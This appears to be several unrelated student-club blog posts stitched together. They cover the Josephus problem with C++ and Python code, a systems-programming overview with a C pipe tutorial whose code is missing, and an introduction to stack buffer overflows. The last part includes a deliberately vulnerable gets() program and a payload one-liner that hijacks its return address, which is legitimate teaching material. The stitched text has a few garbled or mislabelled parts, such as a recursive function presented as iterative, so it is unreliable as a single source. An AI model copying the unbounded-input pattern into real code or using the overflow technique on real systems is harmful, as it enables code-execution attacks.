Recursive and Iterative Solutions

Recursive Formula:

The problem can be expressed recursively as:

$$J(n, k) = \left\{ \begin{array}{ll} 1 & n= 1 \\ ((J(n-1, k) + k-1)\mod n) + 1 & n > 1 \\ \end{array} \right.$$

Iterative Solution:

In C++ and Python, this solution can also be implemented iteratively:

#include <bits/stdc++.h>
using namespace std;

int josephus(int n, int k) {
    int result = 0; // Base case for 1 person

    for (int i = 2; i <= n; i++) {
        result = (result + k) % i;
    }

    return result;
}

int main() {
    int n, k;
    cin >> n >> k;
    int result = josephus(n, k) + 1;
    cout << "The position of the last person standing is: " << result << endl;

    return 0;
}

def josephus(n, k):
    if n == 1:
        return 0
    else:
        return (josephus(n - 1, k) + k) % n

def main():
    n = int(input())
    k = int(input())
    result = josephus(n, k) + 1
    print(result)

if __name__ == "__main__":
    main()

Special Case (k = 2):

For k = 2, the solution has a direct mathematical pattern. If the number of people n is written in terms of powers of 2 (i.e., n = 2^m + l, where l is the remainder when dividing n by the nearest lower power of 2), the position of the last person can be calculated by the formula:

$$J(n,2) = 2l + 1$$

Formal Proof

Here’s a formal proof for the Josephus problem when k = 2:

• Base Cases: $$J(1,2)=1 \text{ and } J(2,2)=1$$

• Inductive Hypothesis: Assume the formula holds for the first i-1 natural numbers.

• Odd Case: Let i = 2*j + 1 $$J(2j+1,2)=2J(j,2)+1$$ Using modular arithmetic, this becomes: $$2j+1=2^{m_1}*2+2l_1+1=2^{m_2}+l_2 \text{ where } l_2=2l_1+1$$ Now, we can say $$J(2j+1,2)=2l_2 +1$$

• Even Case: Let i = 2*j $$J(2j,2)=2J(j,2)−1$$ Using modular arithmetic, $$2j=2^{m_1}*2+2l_1=2^{m_2}+l_2 \text{ where } l_2=2l_1$$ Now, we can say $$J(2j,2)=2l_2 +1$$

Thus, the recursive formula holds for all cases.

Table of Survivor Positions for k = 2

Is there a more optimal way ? (Yes, using DP)

Yes, there exists a more optimal way. Here we introduce the concept of Dynamic Programming. Using Dynamic Programming, we calculate our answer using the results of sub-problems. This allows to multiple same executions by storing them. Here we will store the answers of smaller values of n depending on the value of n.

If given multiple queries we will be answer for multiples of number of people(<=n and for the same k) in O(1) time.

Even better approach for small values of k

For small k and large n, there is another approach. This approach also uses DP but has running time O(k*log(n)). It is based on considering killing k-th, 2k-th…as one step, then changing the numbering. This improved approach takes the form:

$$ g(n, k) = \begin{cases} 0 & \text{if } n = 1 \\ \left( g(n - 1, k) + k \right) \mod n & \text{if } 1 < n \leq k \\ g\left(n - \left\lfloor \frac{n}{k} \right\rfloor, k \right) - n \mod k + n & \text{if } g\left(n - \left\lfloor \frac{n}{k} \right\rfloor, k \right) < n \mod k \\ \lfloor\frac{k\left(g\left(n - \left\lfloor \frac{n}{k} \right\rfloor, k \right) - n \mod k\right)}{k - 1} \rfloor & \text{if } g\left(n - \left\lfloor \frac{n}{k} \right\rfloor, k \right) \geq n \mod k \text{ and } k \leq n \end{cases} $$

Applications

1. Scheduling and Resource Allocation

• Round-robin scheduling: The Josephus problem has applications in round-robin algorithms used in operating systems and distributed systems for scheduling tasks, where processes are eliminated in a circular order.

• Token passing: The problem mirrors the behavior in token-passing algorithms used in network systems, such as Token Ring networks, to control which system gets to send data.

2. Data Structure Rotation

• Circular linked lists: In situations where elements are stored in a circular linked list (a data structure where each node points to its successor and the last node points back to the first), the Josephus problem applies when elements need to be removed in a round-robin fashion.

3. Cryptography and Security

• Secure message transmission: The Josephus problem has been used to design secure methods for message transmission where the choice of a surviving node or system can represent secure channels or keys.

Conclusion

The Josephus problem is more than a theoretical exercise; it teaches valuable lessons in recursion, modular arithmetic, and algorithmic design. By mastering this problem, you can apply its principles in various real-world scenarios, from game theory to computer science algorithms.

1. Operating Systems and Device Drivers

At the heart of every computer is the operating system (OS), like Windows, macOS, or Linux. The OS acts as a bridge between the user applications (like web browsers or games) and the hardware of the computer (like the CPU, memory, and storage).

Device drivers are essential parts of this relationship. They are specialized software that allow the OS to communicate with hardware devices, such as printers, graphics cards, or USB devices. When an application wants to use a printer, for example, it sends a request to the OS, which then uses the appropriate driver to communicate with the printer and carry out the task. This ensures that applications can utilize hardware without needing to know the specifics of how each device operates.

2. Firmware and Hardware

Firmware is the low-level software embedded in hardware devices, such as routers, hard drives, and keyboards. It provides the necessary instructions for how the hardware operates. The firmware is closely related to device drivers; while drivers help the OS communicate with devices, firmware directly controls the device's hardware functions.

For example, a printer has firmware that manages its internal processes, while the driver acts as the translator between the OS and that firmware. This relationship allows users to perform tasks on hardware through higher-level software.

3. Database Management Systems and Hosting

Database Management Systems (DBMS) are software applications that manage databases, helping store, retrieve, and organize data. They are crucial for applications that rely on large amounts of information, such as websites or business software.

Hosting is related to DBMS because databases need a place to reside and be accessed. Hosting providers offer the infrastructure (servers and storage) necessary to run databases effectively. The DBMS interacts with the hardware through the OS, ensuring that data is stored efficiently and can be retrieved quickly.

4. Networking

All of this ties back to networking. For applications to function across the internet or local networks, they need to communicate with servers and databases. Networking software, built through systems programming, manages data transfer, security, and protocols like TCP/IP, allowing applications to send and receive information reliably.

Why This Matters

Understanding how these components are interrelated helps appreciate the complexity and importance of systems programming. It’s not just about writing code; it’s about ensuring that every layer of software and hardware works together smoothly. This coordination is essential for everything we do with technology, from browsing the web to playing games to managing large data sets.

By developing efficient systems software, programmers ensure that hardware operates correctly, applications run smoothly, and users have a seamless experience. This foundational work is what enables all the modern conveniences we rely on today.

As an exercise, we’ll dive into systems programming and implement a simple "pipe" in C, just like how Unix-based systems handle it. Think of a pipe as a way for two programs to communicate, with one sending data and the other receiving it—kind of like passing a note!

Introduction to Pipes in Systems Programming

In Linux, pipes allow us to send the output of one process directly as input to another. This is essential for creating powerful command-line operations, similar to how you might use the | operator in a terminal.

Why Pipes?

Pipes are a core part of Unix systems. They allow us to take the output of one command and use it as input for another.

This assumes that you have a Linux based OS installed.

Step 1: Open your terminal with ctrl + alt + T

Execute $ mkdir pipe-implementation

This makes a folder called pipe-implementation where we will write our source code

Step 2: Run $ cd pipe-implementation to switch your working directory

Open a text editor in this directory, I’ll be using NeoVim but you can use anyone of your choice.

Step 3: Import all the required libraries as shown

Stdio.h will be used to deal with Standard Input/Output operations

Stdlib.h will be used for process control here

Unistd.h will be used to access System calls such as pipe, fork, close etc

Step 4: In the main function write code like this, make sure to include the comment to get a nice greeting from our code later

We will now define the pipeline function

Step 5:

We define a pipeline function that takes two strings as input. Inside this function, we create an array called fd with size 2 to represent the read and write ends of a pipe. When we call pipe(fd), it returns -1 if there’s an error and 0 if it succeeds. If there’s an error, our code will exit the process.

The fork() function creates a new process: the parent and the child. In the parent process, it returns a non-zero value, while the child gets a return value of 0.

Using this separation, we can run two commands at once. In the parent process, we close the reading end of a pipe because we want to write the contents of main.c to the writing end of the pipe. Then, we redirect the standard output (STDOUT) to the pipe, so instead of printing to the terminal, the output from main.c goes into the pipe for the child process to read.

Then we execute the cat command by execlp(). You need not understand everything as a beginner. This is just an exercise to introduce you to Systems Programming.

When fork() returns 0, it means we're in the child process (running grep Welcome). In the child, we close the writing end of the pipe since we don’t need to write anything. We keep the reading end open so the grep command can read the data that the parent process wrote. Next, we redirect standard input (STDIN) to the reading end of the pipe, allowing the child to read only the data from the pipe, which was provided by the parent.

Then we execute the grep command by execlp().

Your final code should look like this.

Step 6: Save the file and come back to the terminal in the pipe-implementation folder that we created earlier.

$ cat main.c - responsible for printing the contents of the file in the terminal

$ grep Welcome - responsible for searching for Welcome in the file

Execute the command $ cat main.c | grep Welcome

This command is supposed to print all the lines in main.c where “Welcome” is present. This is the command that we are trying to simulate through our C file

Step 7: Compile the code by: $ gcc main.c -o pipe

Step 8: Execute the code by $ ./pipe

As You can see, the command that we tried earlier has been simulated!

You can find the source code for this in:

https://github.com/aayush0325/pipe-implementation

This exercise is just a glimpse into the vast and exciting world of systems programming. While this simple implementation of a pipe introduces basic concepts such as inter-process communication, process creation, and command execution, there is much more to explore.

Systems programming forms the backbone of modern computing. From writing kernel modules, managing memory, and building device drivers to optimizing performance and handling low-level networking, the field offers a wealth of opportunities to work closely with hardware, operating systems, and critical software components.

As an exercise you can try replicating a pipe with some other commands with the help of Google and flex in the COPS community group!!

Any program we run, runs in specified block(s) of memory. This memory is called the address space of the program.

As the image above shows, this memory is divided into various segments. For the purpose of this series, we only need to focus on the Stack Segment.

Stack

Stack is the region in memory which programs use for function calls, passing function arguments to other functions, saving previous stack frame’s registers, local variables and storing return pointer and values.

Stack works in the same way as the stack data structure with two possible operations - push and pop. The stack pointer(esp) points to the top of the stack with additional functionalities.

The stack grows and shrinks dynamically as the program runs. Each time a function is called, a new stack frame is pushed onto the stack, and when a function returns, its corresponding stack frame is popped off. For the uninitialized, a stack frame is nothing but an isolated part of the stack reserved for use by the function it was created for. The base and top of this stack is marked by Base Pointer(ebp) and Stack Pointer(esp) Respectively.

In most computer systems, the stack grows downward in memory i.e the stack grows from high value addresses towards low values addresses.

Registers

Registers are small, fast storage locations within a computer's central processing unit (CPU) that hold data temporarily during computation. They are essential for the CPU's operations, as they store values that the processor can access quickly, without needing to fetch them from the memory (RAM).

We will be discussing x86 architecture registers here but the basic functionality for different architectures remain the same. In the x86 architecture, registers are typically 32 bits wide, meaning they can hold 32 bits of data at once.

The architecture is nothing but a name for grouping all CPUs that follow the same instruction sets. You might have heard, that your computer is of 64 bit architecture or 32 bit architecture (x86).

Important x86 Registers:

1. General-Purpose Registers (GPRs): These are the core registers used for various data operations. In x86, the common general-purpose registers are:

   • EAX (Accumulator): Used for arithmetic and logic operations.

   • EBX (Base): Often used as a pointer to data in memory.

   • ECX (Counter): Primarily used for counting iterations in loops.

   • EDX (Data): Used for I/O operations and extended precision arithmetic.

2. Instruction Pointer (EIP): This 32-bit register holds the address of the next instruction to be executed.

3. Stack Pointer (ESP): Keeps track of the top of the stack, used during function calls and local variable storage.

These registers control the execution of programs along with performing different logical operations.

If you are from a programming background, you can think of registers as variables that the CPU uses for storing values and subsequently using them for computation.

Calling Convention

Now that we know the structures that are used in the memory, lets see how this memory works when we call a function. This procedure is called Calling Convention.

In reality, many calling conventions are possible. We will look at the one which the C Programming Language uses.

As we are discussing x86 architecture, the memory is divided into regions of 32 bits i.e. 4 bytes. Now lets see what happens when we call a function in our code.

First the parameters of the function are pushed on the stack in reverse order. Then the instruction after the instruction that calls the function is pushed. This is essentially the return address of the function. When the function will end, program execution will continue from this address. This part is called the Caller Convention as this is done by the function that calls the new function (for which are building a stack frame).

Now, we enter the code of the new function. First, the base pointer is pushed onto the stack. This is done because after the function ends, we want to setup the stack frame for the original function properly again. Then the base pointer is moved to the stack pointer and stack pointer is moved to make space for the variables. The stack pointer and base pointer now constitute the stack frame of the new function. This whole procedure is called the Callee Convention as its done inside the new function.

As you might see, the stack is just a bunch of values on top of each other. The stack by itself doesn’t know which value is the saved base pointer or the return value. That all is just a part of the convention and that’s where the problem starts.

What if the stack pointer that was moved to create space for the variables allocates less space than required? The variables would grow on to overwrite the values of the saved base pointer, return address, parameters etc! This is what attackers use to exploit a vulnerability named Buffer Overflows.

Buffer Overflows

Buffer overflow is a vulnerability of stack in which an attacker could overwrite different parts of the stack to control the execution flow of the program. This happens due to unsanitized user inputs by using vulnerable function like gets and fgets without proper input size. These functions allows an user to write more bytes in the stack than the buffer size. This allows the malicious user to change values like local variables, return pointer, global values and many more.

As I told earlier, the stack doesn’t know which value is where. It is assumed that the user would put an expected input that would follow our rules. Vulnerable functions like gets do not use any check on the length of the input string. Thus the user can overwrite the return address value and change the flow of the execution to his will!
This simple vulnerability is named ret2win.

Here a sample code:

#include <stdio.h>

// Use the following command for compiling this code
// gcc -m32 -no-pie -fno-stack-protector -o vuln vuln.c

void win()
{
    puts("How did you reach here!");
}

void vuln()
{
    char buffer[16];
    gets(buffer);
}

int main()
{
    puts("What are you doing here!");

    vuln();
}

What do you think? Is there a way to somehow execute the win function?
According to the current program logic NO, but if we try to look closely we can use the above discussed vulnerability here.

If you enter the given payload using python into the program you’ll be amazed to see “How did you reach here!“ printed on the screen!

python2 -c 'print "a" * 28 + "\x86\x91\x04\x08"' | ./vuln

Now its your task to use the knowledge gained to explain why this is correct. You may also need to search a bit on the internet but that’s the fun part!

The fastest correct responder would receive a shout out in the COPS Community 🔥

Form to answer - https://forms.gle/wxd3YgRYPeAuLY1G6

We’ll be back with the second part of the blog explaining the answer and how to craft such exploits for any given code! Till then keep learning!